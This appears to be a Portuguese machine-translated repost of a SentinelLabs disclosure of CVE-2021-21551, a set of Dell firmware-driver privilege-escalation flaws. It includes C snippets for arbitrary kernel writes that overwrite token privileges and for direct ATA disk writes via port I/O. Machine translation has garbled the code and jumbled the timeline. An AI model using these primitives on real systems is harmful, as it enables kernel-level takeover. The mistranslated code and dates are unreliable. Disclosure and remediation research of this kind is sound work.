Alpha Omega Tecnologia

Centenas de milhões de computadores Dell em risco devido a várias falhas de escalonamento de privilégios de driver de BIOS

Estrela inativaEstrela inativaEstrela inativaEstrela inativaEstrela inativa
 

Atualize seus dispositivos Dell agora! Descoberto cinco falhas de alta gravidade no drive de atualização de firmware da Dell, afetando desktops, laptops, notebooks e muito mais.

Sumário executivo

  • O SentinelLabs descobriu cinco falhas de alta gravidade no driver de atualização de firmware da Dell, afetando desktops, laptops, notebooks e tablets da Dell.
  • Os invasores podem explorar essas vulnerabilidades para escalar localmente para os privilégios do modo kernel.
  • Desde 2009, a Dell lançou centenas de milhões de dispositivos Windows em todo o mundo que contêm o driver vulnerável. As descobertas do SentinelLabs foram relatadas proativamente à Dell em 1º de dezembro de 2020 e são rastreadas como CVE-2021-21551, marcadas com CVSS Score 8.8.
  • A Dell lançou uma atualização de segurança para seus clientes para abordar esta vulnerabilidade.
  • No momento, o SentinelOne não descobriu evidências de abuso na selva.

Introdução

Vários meses atrás, comecei a investigar a postura de segurança do dbutil_2_3.sysmódulo de driver de atualização de firmware versão 2.3 ( ), que parece estar em uso desde pelo menos 2009. Hoje, o componente de driver de atualização de firmware, que é responsável pelas atualizações de firmware da Dell através do O Dell Bios Utility vem pré-instalado na maioria das máquinas Dell com Windows e em máquinas Windows recém-instaladas que foram atualizadas. Centenas de milhões de dispositivos Dell têm atualizações feitas regularmente, tanto para o consumidor quanto para os sistemas corporativos.

O driver chamou minha atenção graças ao Process Hacker, que tem um ótimo recurso que exibe uma mensagem de notificação toda vez que um serviço é criado ou excluído:

 

Isso levou à descoberta de cinco bugs de alta gravidade que permaneceram ocultos por 12 anos. Essas múltiplas vulnerabilidades de alta gravidade no software Dell podem permitir que invasores escalem privilégios de um usuário não administrador para privilégios de modo kernel. Ao longo dos anos, a Dell lançou utilitários de atualização de BIOS que contêm o driver vulnerável para centenas de milhões de computadores (incluindo desktops, laptops, notebooks e tablets) em todo o mundo.

A Dell atribuiu um CVE para cobrir todas as falhas no driver de atualização de firmware, mas este único CVE pode ser dividido nas seguintes cinco falhas separadas:

  • CVE-2021-21551: Local Elevation Of Privileges # 1 - Memória corrompida
  • CVE-2021-21551: Local Elevation Of Privileges # 2 - Memória corrompida
  • CVE-2021-21551: Elevação Local de Privilégios # 3 - Falta de validação de entrada
  • CVE-2021-21551: Elevação Local de Privilégios # 4 - Falta de validação de entrada
  • CVE-2021-21551: Negação de serviço - problema de lógica de código

 

No post de hoje, descreverei alguns dos problemas gerais com este driver. No entanto, para permitir que os clientes da Dell tenham a oportunidade de corrigir essa vulnerabilidade, suspendemos o compartilhamento de nossa Prova de Conceito até 1º de junho de 2021 . Essa prova de conceito demonstrará o primeiro EOP local que surge de um problema de corrupção de memória.

Detalhes técnicos

O primeiro e mais imediato problema com o driver de atualização de firmware surge do fato de que ele aceita solicitações IOCTL (Controle de Entrada / Saída) sem quaisquer requisitos de ACL. Isso significa que ele pode ser invocado por um usuário sem privilégios:

 

2 : kd>! Devobj ffffae077fb47820
O objeto de dispositivo (ffffae077fb47820) é para :
 DBUtil_2_3 \ Driver \ dbutil DriverObject ffffae0782dbce30Irp 
atual 00000000 RefCount 1 Tipo 00009 b0c Sinalizadores 00000048
SecurityDescriptor ffffd70bdb4f4160 DevExt ffffae077fb47970 DevObjExt ffffae077fb47a10
ExtensionFlags ( 0x00000800 ) DOE_DEFAULT_SD_PRESENT
Características ( 0000000000 )
A fila do dispositivo não está ocupada.
2 : kd>! Sd ffffd70bdb4f4160 0x1
[truncado]
-> Dacl: -> Ace [ 0 ]: -> AceType: ACCESS_ALLOWED_ACE_TYPE
-> Dacl: -> Ace [ 0 ]: -> AceFlags: 0x0 
-> Dacl: -> Ace [ 0 ]: -> AceSize: 0x14 
-> Dacl: -> Ace [ 0 ]: -> Máscara: 0x001201bf 
-> Dacl: -> Ace [ 0 ]: -> SID: S -1 -1 -0 (Grupo conhecido: localhost \ Todos)
[truncado]

 

Permitir que qualquer processo se comunique com seu driver é frequentemente uma prática ruim, pois os drivers operam com os mais altos privilégios; assim, algumas funções IOCTL podem ser abusadas “por design”.

O driver de atualização de firmware expõe muitas funções via IRP_MJ_DEVICE_CONTROL. O bug mais óbvio de explorar fornece um primitivo extremamente poderoso. Via IOCTL 0x9B0C1EC8, é possível controlar completamente os argumentos passados ​​para memmove, assim, permitindo uma vulnerabilidade de leitura / gravação arbitrária:

 

 

Uma técnica clássica de exploração para esta vulnerabilidade seria substituir os valores de Presente Enabledno membro de privilégio Token dentro EPROCESSdo processo cujos privilégios desejamos escalar:

1: kd> dt nt! _SEP_TOKEN_PRIVILEGES
   + 0x000 Presente: Uint8B
   + 0x008 habilitado: Uint8B
   + 0x010 EnabledByDefault: Uint8B

 

Isso pode ser acionado e explorado de forma bastante simples:

struct  ioctl_input_params { 
	uint64_t padding1;
	endereço uint64_t ;
	uint64_t padding2;
	uint64_t value_to_write;
};

static  constexpr  uint64_t MASK_TO_WRITE = MAXULONGLONG;

DWORD bytesReturned = 0 ;

ioctl_input_params privilege_present_params { 0 };
privilege_present_params.address = presentAddress;
privilege_present_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl (hDevice, EXPLOITABLE_RW_CONTROL_CODE, & privilege_present_params,
	sizeof (privilege_present_params), & privilege_present_params, sizeof (privilege_present_params), & bytesReturned, NULL );

ioctl_input_params privilege_enabled_params { 0 };
privilege_enabled_params.address = enabledAddress;
privilege_enabled_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl (hDevice, EXPLOITABLE_RW_CONTROL_CODE, & privilege_enabled_params,
	sizeof (privilege_enabled_params), & privilege_enabled_params, sizeof (privilege_enabled_params), & bytesReturned, NULL );

 

Outra vulnerabilidade interessante neste driver é a que possibilita a execução de instruções I / O (IN / OUT) em modo kernel com operandos arbitrários (LPE # 3 e LPE # 4). Isso é menos trivial de explorar e pode exigir o uso de várias técnicas criativas para obter elevação de privilégios.

Como IOPL (nível de privilégio de E / S) é igual a CPL (nível de privilégio atual), é obviamente possível interagir com dispositivos periféricos, como HDD e GPU, para ler / gravar diretamente no disco ou invocar operações DMA. Por exemplo, poderíamos nos comunicar com a porta ATA IO para gravar diretamente no disco e, em seguida, sobrescrever um binário carregado por um processo privilegiado.

O código a seguir ilustra a leitura / gravação direta usando IO da porta ATA e mostra como invocar esses IOCTLs (invólucros IN / OUT são abstraídos):

 

void  port_byte_out ( unsigned  short port, unsigned  char payload)  {
	 unsigned  char data [ 16 ] = { 0 };
	* (( unsigned  long *) (( unsigned  char *) data)) = porta;
	* (( unsigned  char *) (( unsigned  char *) data + 4 )) = payload;
	bResult = DeviceIoControl (hDevice, IOCTL_BYTE_OUT, data, sizeof (data), data, sizeof (data), & junk, NULL );
	if (! bResult) {
		 printf ( "erro em port_byte_out:% x \ r \ n" , GetLastError ());
	}
}

unsigned  char  port_byte_in ( unsigned  short port)  {
	 unsigned  char data [ 16 ] = { 0 };
	* (( unsigned  long *) (( unsigned  char *) data)) = porta;
	bResult = DeviceIoControl (hDevice, IOCTL_BYTE_IN, data, sizeof (data), data, sizeof (data), & junk, NULL );
	if (! bResult) {
		 printf ( "erro em port_byte_in:% x \ r \ n" , GetLastError ());
	}
	dados de retorno [ 0 ];
}

 

Gravar diretamente no HDD sem criar um IRP para a gravação desse disco basicamente ignora todos os mecanismos de segurança no sistema operacional e permite que um invasor grave em qualquer setor do disco.

Por exemplo, aqui está o código do repositório LearnOS que tira proveito das instruções IN / OUT para gravação direta de HDD:

void  write_sectors_ATA_PIO ( uint32_t LBA, uint8_t setor_count, uint32_t * bytes)  {
	ATA_wait_BSY ();
	port_byte_out ( 0x1F6 , 0xE0 | ((LBA >> 24 ) & 0xF ));
	port_byte_out ( 0x1F2 , setor_conta);
	port_byte_out ( 0x1F3 , ( uint8_t ) LBA);
	port_byte_out ( 0x1F4 , ( uint8_t ) (LBA >> 8 ));
	port_byte_out ( 0x1F5 , ( uint8_t ) (LBA >> 16 ));
	port_byte_out ( 0x1F7 , 0x30 ); // Envie o comando de escrita

	para ( int j = 0 ; j <setor_contagem; j ++) {
		ATA_wait_BSY ();
		ATA_wait_DRQ ();
		para ( int i = 0 ; i < 256 ; i ++) {
			port_long_out ( 0x1F0 , bytes [i]);
		}
	}
}

 

Curiosamente, não relacionado aos bugs do manipulador IOCTL, o próprio arquivo do driver está localizado em C:\Windows\Temp, o que também é um bug e abre a porta para outros problemas. A maneira clássica de explorar isso seria transformar qualquer BYOVD (Traga seu próprio driver vulnerável) em uma vulnerabilidade de elevação de privilégios, uma vez que carregar um driver (vulnerável) significa que você precisa de privilégios de administrador, o que essencialmente elimina a necessidade de uma vulnerabilidade. Assim, usar essa vulnerabilidade observada lateral significa virtualmente que você pode levar qualquer BYOVD a uma elevação de privilégios.

Prova de conceito Aqui você pode ver uma prova de conceito para demonstrar o primeiro LPE devido à corrupção de memória:

 

Video: assets.sentinelone.com/labs/Dell?lb-mode=overlay 

Impacto

As falhas de alta gravidade podem permitir que qualquer usuário no computador, mesmo sem privilégios, aumente seus privilégios e execute o código no modo kernel. Entre os abusos óbvios de tais vulnerabilidades está o fato de que elas podem ser usadas para contornar produtos de segurança.

Um invasor com acesso à rede de uma organização também pode obter acesso para executar código em sistemas Dell sem patch e usar essa vulnerabilidade para obter elevação local de privilégio. Os invasores podem, então, aproveitar outras técnicas para girar para a rede mais ampla, como o movimento lateral.

Remediação

Essa vulnerabilidade e suas soluções são descritas no Comunicado de segurança da Dell DSA-2021-088 . Recomendamos aos clientes da Dell, tanto empresas quanto consumidores, que apliquem o patch o mais rápido possível.

Enquanto a Dell está lançando um patch (um driver corrigido), observe que o certificado ainda não foi revogado (no momento da escrita). Isso não é considerado uma prática recomendada, pois o driver vulnerável ainda pode ser usado em um ataque BYOVD, conforme mencionado anteriormente. Consulte o Comunicado de segurança da Dell para obter os detalhes completos da correção.

Conclusão

Essas vulnerabilidades de alta gravidade, que estão presentes nos dispositivos Dell desde 2009, afetam centenas de milhões de dispositivos e milhões de usuários em todo o mundo. Semelhante a uma vulnerabilidade anterior que eu revelei que ficou oculta por 12 anos, o impacto que isso poderia ter sobre usuários e empresas que não conseguem corrigir é de longo alcance e significativo.

Embora não tenhamos visto nenhum indicador de que essas vulnerabilidades tenham sido exploradas livremente até agora, com centenas de milhões de empresas e usuários atualmente vulneráveis, é inevitável que os invasores procurem aqueles que não realizam as ações adequadas. Nosso motivo para publicar esta pesquisa não é apenas ajudar nossos clientes, mas também a comunidade a compreender o risco e a agir.

Gostaríamos de agradecer à Dell por sua abordagem à nossa divulgação e por remediar as vulnerabilidades.

Linha do tempo de divulgação

1, dez, 2020 - relatório inicial

2, dez, 2020 - Dell respondeu com os números do tíquete

8, dez, 2020 - Dell solicitou mais informações

9, dez, 2020 - Dell solicitou informações adicionais

22, dez, 2020 - Dell respondeu que uma correção deve estar disponível em meados de

12 de abril de 2021 - Dell respondeu que algumas das vulnerabilidades não serão corrigidas, pois o produto é EOL

27 de janeiro de 2021 - Dell solicitou mais tempo

16 de março de 2021 - Dell atualizou que está cooperando com a Microsoft e uma correção deve estar disponível até o final de

29 de abril de 2021 - a Dell solicitou mais tempo, confirmou que uma atualização deve estar disponível até o final de

22 de abril de 2021 - a Dell iniciou uma teleconferência de zoom para discutir o lançamento da postagem do blog

04 de maio de 2021 - Pesquisa inicial divulgada ao público.

 

 

Fonte: SentinelLABS

Cadastre seu email e fique por dentro do munda da tecnologia